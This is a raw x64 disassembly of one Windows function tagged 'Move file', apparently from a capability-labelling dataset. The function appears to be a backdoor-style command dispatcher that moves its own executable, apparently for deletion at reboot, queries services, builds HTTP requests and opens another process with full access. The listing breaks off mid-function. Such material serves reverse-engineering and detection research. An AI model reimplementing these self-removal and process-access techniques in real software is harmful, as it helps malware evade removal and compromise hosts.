Function at 0x140007594
Capabilities:
Move file

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x3d0
mov rax, qword [0x140036040]
xor rax, rsp
mov qword [rsp + 0x3c8], rax
mov r13, rdx
mov r14, rcx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x50], rdx
xor edi, edi
mov r8d, edi
mov dword [rsp + 0x40], edi
mov edx, edi
lea esi, [rdi + 7]
lea r15d, [rdi + 1]
cmp qword [rcx + 0x10], rdi
jbe 0x140007615
mov ecx, edi
mov rax, r14
cmp qword [r14 + 0x18], rsi
jbe 0x1400075f6
mov rax, qword [r14]
cmp word [rax + rcx], 0x26
jne 0x140007600
add r8d, r15d
add edx, r15d
add rcx, 2
movsxd rax, edx
cmp rax, qword [r14 + 0x10]
jb 0x1400075ea
mov dword [rsp + 0x40], r8d
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rsi
mov word [rsp + 0xd8], di
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rsi
mov word [rsp + 0xf8], di
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], rsi
mov word [rsp + 0x78], di
mov rcx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x14000767e
mov rcx, qword [r14]
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x14000769d
mov rbx, rcx
cmp word [rbx], 0x26
je 0x140007749
add rbx, 2
sub rax, r15
jne 0x14000768a
or rbx, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], rdi
movsxd r8, ebx
cmp qword [r14 + 0x10], r8
cmovb r8, qword [r14 + 0x10]
mov rdx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x1400076d4
mov rdx, qword [r14]
lea rcx, [rsp + 0x98]
call fcn.140002b6c
lea rcx, [rsp + 0x98]
cmp qword [rsp + 0xb0], rsi
cmova rcx, qword [rsp + 0x98]
call fcn.140017918
mov dword [rsp + 0x48], eax
mov rdx, qword [rsp + 0xb0]
mov r12d, 0x1000
cmp rdx, rsi
jbe 0x140007762
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, r12
jb 0x14000775d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f3a
jmp 0x14000775d
test rbx, rbx
je 0x14000769d
sub rbx, rcx
sar rbx, 1
jmp 0x1400076a1
call fcn.14000d128
movsxd rdx, ebx
mov r8, qword [r14 + 0x10]
mov r9, r8
sub r9, rdx
lea eax, [rbx + 1]
movsxd rcx, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
cmp r8, rcx
jb 0x140008f40
mov rax, r8
sub rax, rcx
cmp rax, r9
cmovb rdx, rcx
sub r8, rdx
mov rax, r14
cmp qword [r14 + 0x18], rsi
jbe 0x1400077b5
mov rax, qword [r14]
lea rdx, [rax + rcx*2]
lea rcx, [rsp + 0x360]
call fcn.140002b6c
lea rdx, [rsp + 0x360]
mov rcx, r14
call fcn.14000b4c4
mov rdx, qword [rsp + 0x378]
cmp rdx, rsi
jbe 0x140007819
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, r12
jb 0x140007814
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fde
call fcn.14000d128
mov rcx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x140007825
mov rcx, qword [r14]
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x140007844
mov rbx, rcx
cmp word [rbx], 0x26
je 0x140007937
add rbx, 2
sub rax, r15
jne 0x140007831
or rbx, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], rdi
movsxd r8, ebx
cmp qword [r14 + 0x10], r8
cmovb r8, qword [r14 + 0x10]
mov rdx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x14000787b
mov rdx, qword [r14]
lea rcx, [rsp + 0x98]
call fcn.140002b6c
nop
lea rdx, [rsp + 0x98]
cmp qword [rsp + 0xb0], rsi
cmova rdx, qword [rsp + 0x98]
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], di
jne 0x1400078a6
lea rcx, [rsp + 0x78]
call fcn.1400028cc
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, rsi
jbe 0x1400078fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, r12
jb 0x1400078f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fde
call fcn.14000d128
movsxd rdx, ebx
mov r8, qword [r14 + 0x10]
mov r9, r8
sub r9, rdx
lea eax, [rbx + 1]
movsxd rcx, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
cmp r8, rcx
jb 0x140008f45
jmp 0x14000794b
test rbx, rbx
je 0x140007844
sub rbx, rcx
sar rbx, 1
jmp 0x140007848
mov rax, r8
sub rax, rcx
cmp rax, r9
cmovb rdx, rcx
sub r8, rdx
mov rax, r14
cmp qword [r14 + 0x18], rsi
jbe 0x140007967
mov rax, qword [r14]
lea rdx, [rax + rcx*2]
lea rcx, [rsp + 0x360]
call fcn.140002b6c
lea rdx, [rsp + 0x360]
mov rcx, r14
call fcn.14000b4c4
mov rdx, qword [rsp + 0x378]
cmp rdx, rsi
jbe 0x1400079cb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, r12
jb 0x1400079c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fde
call fcn.14000d128
mov rcx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x1400079d7
mov rcx, qword [r14]
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x1400079f6
mov rbx, rcx
cmp word [rbx], 0x26
je 0x140007ad6
add rbx, 2
sub rax, r15
jne 0x1400079e3
or rbx, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
movsxd r8, ebx
cmp qword [r14 + 0x10], r8
cmovb r8, qword [r14 + 0x10]
mov rdx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x140007a2d
mov rdx, qword [r14]
lea rcx, [rsp + 0x360]
call fcn.140002b6c
mov rdx, qword [rsp + 0xf0]
cmp rdx, rsi
jbe 0x140007a7d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, r12
jb 0x140007a78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fde
call fcn.14000d128
movups xmm0, xmmword [rsp + 0x360]
movups xmmword [rsp + 0xd8], xmm0
movups xmm1, xmmword [rsp + 0x370]
movups xmmword [rsp + 0xe8], xmm1
movsxd rdx, ebx
mov r8, qword [r14 + 0x10]
mov r9, r8
sub r9, rdx
lea eax, [rbx + 1]
movsxd rcx, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
cmp r8, rcx
jb 0x140008f4a
jmp 0x140007aea
test rbx, rbx
je 0x1400079f6
sub rbx, rcx
sar rbx, 1
jmp 0x1400079fa
mov rax, r8
sub rax, rcx
cmp rax, r9
cmovb rdx, rcx
sub r8, rdx
mov rax, r14
cmp qword [r14 + 0x18], rsi
jbe 0x140007b06
mov rax, qword [r14]
lea rdx, [rax + rcx*2]
lea rcx, [rsp + 0x360]
call fcn.140002b6c
lea rdx, [rsp + 0x360]
mov rcx, r14
call fcn.14000b4c4
mov rdx, qword [rsp + 0x378]
cmp rdx, rsi
jbe 0x140007b6a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, r12
jb 0x140007b65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fde
call fcn.14000d128
mov rcx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x140007b76
mov rcx, qword [r14]
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x140007b95
mov rbx, rcx
cmp word [rbx], 0x26
je 0x140007c75
add rbx, 2
sub rax, r15
jne 0x140007b82
or rbx, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
movsxd r8, ebx
cmp qword [r14 + 0x10], r8
cmovb r8, qword [r14 + 0x10]
mov rdx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x140007bcc
mov rdx, qword [r14]
lea rcx, [rsp + 0x360]
call fcn.140002b6c
mov rdx, qword [rsp + 0x110]
cmp rdx, rsi
jbe 0x140007c1c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, r12
jb 0x140007c17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fde
call fcn.14000d128
movups xmm0, xmmword [rsp + 0x360]
movups xmmword [rsp + 0xf8], xmm0
movups xmm1, xmmword [rsp + 0x370]
movups xmmword [rsp + 0x108], xmm1
movsxd rdx, ebx
mov r8, qword [r14 + 0x10]
mov r9, r8
sub r9, rdx
lea eax, [rbx + 1]
movsxd rcx, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
cmp r8, rcx
jb 0x140008f4f
jmp 0x140007c89
test rbx, rbx
je 0x140007b95
sub rbx, rcx
sar rbx, 1
jmp 0x140007b99
mov rax, r8
sub rax, rcx
cmp rax, r9
cmovb rdx, rcx
sub r8, rdx
mov rax, r14
cmp qword [r14 + 0x18], rsi
jbe 0x140007ca5
mov rax, qword [r14]
lea rdx, [rax + rcx*2]
lea rcx, [rsp + 0x360]
call fcn.140002b6c
lea rdx, [rsp + 0x360]
mov rcx, r14
call fcn.14000b4c4
mov rdx, qword [rsp + 0x378]
cmp rdx, rsi
jbe 0x140007d09
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, r12
jb 0x140007d04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fde
call fcn.14000d128
mov rdx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x140007d15
mov rdx, qword [r14]
mov rcx, qword [r14 + 0x10]
test rcx, rcx
je 0x140007d34
mov rax, rdx
cmp word [rax], 0x26
je 0x140007dd8
add rax, 2
sub rcx, r15
jne 0x140007d21
or rax, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], rdi
movsxd r8, eax
cmp qword [r14 + 0x10], r8
cmovb r8, qword [r14 + 0x10]
mov rdx, r14
cmp qword [r14 + 0x18], rsi
jbe 0x140007d6b
mov rdx, qword [r14]
lea rcx, [rsp + 0x98]
call fcn.140002b6c
lea rcx, [rsp + 0x98]
cmp qword [rsp + 0xb0], rsi
cmova rcx, qword [rsp + 0x98]
call fcn.140017918
mov ebx, eax
mov rdx, qword [rsp + 0xb0]
cmp rdx, rsi
jbe 0x140007df1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, r12
jb 0x140007dec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f54
jmp 0x140007dec
test rax, rax
je 0x140007d34
sub rax, rdx
sar rax, 1
jmp 0x140007d38
call fcn.14000d128
cmp dword [rsp + 0x40], 6
je 0x140007f3a
lea r8, [rsp + 0x78]
cmp qword [rsp + 0x90], rsi
cmova r8, qword [rsp + 0x78]
lea rdx, [0x1400312c0]
mov rcx, r13
call fcn.1400065bc
mov ebx, eax
mov rdx, qword [rsp + 0x90]
cmp rdx, rsi
jbe 0x140007e60
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, r12
jb 0x140007e5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f5a
call fcn.14000d128
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], rsi
mov word [rsp + 0x78], di
mov rdx, qword [rsp + 0x110]
cmp rdx, rsi
jbe 0x140007eb8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, r12
jb 0x140007eb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f60
call fcn.14000d128
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rsi
mov word [rsp + 0xf8], di
mov rdx, qword [rsp + 0xf0]
cmp rdx, rsi
jbe 0x140007f13
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, r12
jb 0x140007f0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f66
call fcn.14000d128
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rsi
mov word [rsp + 0xd8], di
mov rcx, r14
call fcn.14000276c
mov eax, ebx
jmp 0x140008f0d
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], rsi
mov word [rsp + 0xb8], di
mov eax, dword [rsp + 0x48]
test eax, eax
jne 0x140007f6e
lea r15d, [rax + 0xa]
jmp 0x140008d9c
cmp eax, r15d
jne 0x140008093
lea rax, [rsp + 0x360]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x360]
call fcn.140002808
mov r15, rax
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x98]
call fcn.140002808
nop
mov r9d, ebx
mov r8, r15
mov rdx, rax
lea rcx, [rsp + 0x390]
call fcn.1400057e8
mov rbx, rax
lea rax, [rsp + 0xb8]
cmp rax, rbx
je 0x140008055
mov rdx, qword [rsp + 0xd0]
cmp rdx, rsi
jbe 0x14000801b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, r12
jb 0x140008016
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f6c
call fcn.14000d128
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], rsi
mov word [rsp + 0xb8], di
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xb8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xc8], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rsi
mov word [rbx], di
lea rcx, [rsp + 0x390]
call fcn.14000276c
lea r8, [rsp + 0x78]
cmp qword [rsp + 0x90], rsi
cmova r8, qword [rsp + 0x78]
lea rdx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], rsi
cmova rdx, qword [rsp + 0xb8]
jmp 0x140008749
cmp eax, 2
jne 0x1400081f5
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], rsi
cmova rdx, qword [rsp + 0xf8]
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], rsi
cmova rcx, qword [rsp + 0xd8]
mov r8, r13
call fcn.1400062bc
test eax, eax
jne 0x1400081e9
lea rax, [rsp + 0x360]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
xor r8d, r8d
lea rdx, [0x140030b18]
lea rcx, [rsp + 0x360]
call fcn.140002b6c
nop
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x390]
call fcn.140002808
nop
mov r9d, ebx
lea r8, [rsp + 0x360]
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.1400057e8
mov rbx, rax
lea rax, [rsp + 0xb8]
cmp rax, rbx
je 0x1400081dc
mov rdx, qword [rsp + 0xd0]
cmp rdx, rsi
jbe 0x1400081a2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, r12
jb 0x14000819d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f72
call fcn.14000d128
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], rsi
mov word [rsp + 0xb8], di
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xb8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xc8], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rsi
mov word [rbx], di
lea rcx, [rsp + 0x98]
jmp 0x14000805d
lea rdx, [0x1400312c8]
jmp 0x140008736
cmp eax, 3
jne 0x140008254
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], rsi
cmova rdx, qword [rsp + 0xf8]
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], rsi
cmova rcx, qword [rsp + 0xd8]
mov r8, r13
call fcn.1400062bc
test eax, eax
jne 0x1400081e9
mov r8, r15
lea rdx, [0x140030f98]
lea rcx, [rsp + 0xb8]
call fcn.1400028cc
jmp 0x140008062
cmp eax, 4
jne 0x1400083fc
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], rsi
cmova rdx, qword [rsp + 0xf8]
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], rsi
cmova rcx, qword [rsp + 0xd8]
mov r8, r13
call fcn.1400062bc
test eax, eax
jne 0x1400081e9
movdqa xmm0, xmmword [0x1400316a0]
movdqu xmmword [rsp + 0x360], xmm0
movdqa xmm1, xmmword [0x140031750]
movdqu xmmword [rsp + 0x370], xmm1
mov dword [rsp + 0x380], 0x11
mov dword [rsp + 0x384], 0x60
mov dword [rsp + 0x388], 0x63
lea r8d, [rax + 0xb]
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x390]
call fcn.1400054c4
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jbe 0x140008308
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0xf8]
call fcn.1400029ec
nop
lea rcx, [rsp + 0x390]
call fcn.14000276c
lea rax, [rsp + 0x390]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x390]
call fcn.140002808
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.rundll32.exe
lea rcx, [rsp + 0x360]
call fcn.140002b6c
nop
mov r9d, ebx
mov r8, r15
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x98]
call fcn.1400057e8
mov rbx, rax
lea rax, [rsp + 0xb8]
cmp rax, rbx
je 0x1400081dc
mov rdx, qword [rsp + 0xd0]
cmp rdx, rsi
jbe 0x1400081a2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, r12
jb 0x14000819d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f78
jmp 0x14000819d
cmp eax, 5
jne 0x14000845f
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], rsi
cmova rcx, qword [rsp + 0xd8]
call fcn.140006b74
lea r8, [rsp + 0x78]
mov rcx, r13
test eax, eax
jne 0x140008445
cmp qword [rsp + 0x90], rsi
cmova r8, qword [rsp + 0x78]
lea rdx, [0x140030f98]
jmp 0x14000874c
cmp qword [rsp + 0x90], rsi
cmova r8, qword [rsp + 0x78]
lea rdx, [0x1400312b4]
jmp 0x14000874c
cmp eax, 6
jne 0x140008613
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], rsi
cmova rcx, qword [rsp + 0xd8]
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], rsi
cmova rdx, qword [rsp + 0xf8]
mov r8, r13
call fcn.1400062bc
test eax, eax
jne 0x1400081e9
lea rax, [rsp + 0x360]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
xor r8d, r8d
lea rdx, [0x140030b18]
lea rcx, [rsp + 0x360]
call fcn.140002b6c
nop
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x390]
call fcn.140002808
nop
mov r9d, ebx
lea r8, [rsp + 0x360]
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.1400057e8
mov rbx, rax
lea rax, [rsp + 0xb8]
cmp rax, rbx
je 0x1400085a8
mov rdx, qword [rsp + 0xd0]
cmp rdx, rsi
jbe 0x14000856e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, r12
jb 0x140008569
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f7e
call fcn.14000d128
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], rsi
mov word [rsp + 0xb8], di
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xb8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xc8], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rsi
mov word [rbx], di
lea rcx, [rsp + 0x98]
call fcn.14000276c
lea rcx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], rsi
cmova rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc8]
cmp rdx, r15
jne 0x140008607
lea r8, [0x1400311c8]
test rdx, rdx
je 0x140008f84
movzx eax, word [r8]
cmp word [rcx], ax
jne 0x140008607
add rcx, 2
add r8, 2
sub rdx, r15
je 0x140008f84
jmp 0x1400085eb
lea rdx, [0x1400311c4]
jmp 0x140008736
cmp eax, esi
jne 0x14000872a
mov ecx, 0x20a
call fcn.14000d3d8
mov rbx, rax
xor edx, edx
mov r8d, 0x105
mov rcx, rax
call fcn.140025b00
call fcn.140001764
mov r8d, 0x104
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
lea r8d, [rdx + 4]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400086d6
mov r8d, 5
lea rdx, [0x140036b48]
lea rcx, [rsp + 0x390]
call fcn.1400054c4
cmp qword [rax + 0x18], rsi
jbe 0x14000869b
mov rax, qword [rax]
mov r8d, 4
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
lea rcx, [rsp + 0x390]
call fcn.14000276c
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
test rbx, rbx
sete al
mov dword [rsp + 0x48], eax
mov ebx, eax
jmp 0x1400086d9
mov ebx, r15d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test ebx, ebx
jne 0x140008fa8
cmp dword [0x1400384f0], r15d
jne 0x140008fa8
lea r8d, [rbx + 5]
lea rdx, [0x140036b48]
lea rcx, [rsp + 0x360]
call fcn.1400054c4
mov rcx, rax
call fcn.1400018ec
test eax, eax
je 0x140008fa8
lea rdx, [0x1400312ec]
jmp 0x140008736
cmp eax, 8
jne 0x140008759
lea rdx, [0x1400312f4]
lea r8, [rsp + 0x78]
cmp qword [rsp + 0x90], rsi
cmova r8, qword [rsp + 0x78]
mov rcx, r13
call fcn.1400065bc
mov r15d, eax
jmp 0x140008d9c
cmp eax, 9
jne 0x140008d2d
lea rdx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], rsi
cmova rdx, qword [rsp + 0xd8]
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp word [rdx + r8*2], di
jne 0x14000879a
lea rcx, [rsp + 0x360]
call fcn.140002b6c
nop
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x120]
call fcn.140003884
nop
mov rdx, qword [rsp + 0x378]
cmp rdx, rsi
jbe 0x14000880b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, r12
jb 0x140008806
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fd8
call fcn.14000d128
mov rdx, r13
lea rcx, [rsp + 0x120]
call fcn.140005fe0
mov byte [rsp + 0x148], dil
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
mov r8d, 0x12
lea rdx, str.Pragma:_no_cache_r_n
lea rcx, [rsp + 0x360]
call fcn.140002b6c
nop
lea rdx, [rsp + 0x360]
cmp qword [rsp + 0x378], rsi
cmova rdx, qword [rsp + 0x360]
mov r8, qword [rsp + 0x370]
lea rcx, [rsp + 0x260]
call fcn.1400028cc
nop
lea rcx, [rsp + 0x360]
call fcn.14000276c
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rdi
mov r8d, 3
lea rdx, [0x140030fa8]
lea rcx, [rsp + 0x360]
call fcn.140002b6c
nop
xor r8d, r8d
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x120]
call fcn.140003bdc
nop
mov rdx, qword [rsp + 0x378]
cmp rdx, rsi
jbe 0x140008927
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, r12
jb 0x140008922
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fcc
call fcn.14000d128
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], rsi
mov word [rsp + 0x98], di
lea rcx, [rsp + 0x120]
cmp qword [rsp + 0x138], rsi
cmova rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x130]
cmp rdx, 3
jne 0x140008cc3
lea r8, [0x1400311f8]
test rdx, rdx
je 0x14000899b
movzx eax, word [r8]
cmp word [rcx], ax
jne 0x140008cc3
add rcx, 2
add r8, 2
sub rdx, r15
jne 0x140008981
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x360]
call fcn.140002808
mov rdx, qword [rsp + 0xb0]
cmp rdx, rsi
jbe 0x1400089f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, r12
jb 0x1400089ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fd2
call fcn.14000d128
movups xmm0, xmmword [rsp + 0x360]
movups xmmword [rsp + 0x98], xmm0
movups xmm1, xmmword [rsp + 0x370]
movups xmmword [rsp + 0xa8], xmm1
mov qword [rsp + 0x370], rdi
mov qword [rsp + 0x378], rsi
mov word [rsp + 0x360], di
lea rcx, [rsp + 0x360]
call fcn.14000276c
cmp qword [rsp + 0xa8], 0xc8
jbe 0x140008cc3
lea rcx, [rsp + 0xf8]
cmp qword [rsp + 0x110], rsi
cmova rcx, qword [rsp + 0xf8]
call fcn.140017918
test eax, eax
je 0x140008c83
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp rax, rbx
je 0x140008c83
mov rcx, qword [rsp + 0xa8]
inc rcx
call fcn.14000d3d8
mov rbx, rax
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0xa8]
inc r8
xor edx, edx
mov rcx, rax
call fcn.140025b00
lea r8, [rsp + 0x98]
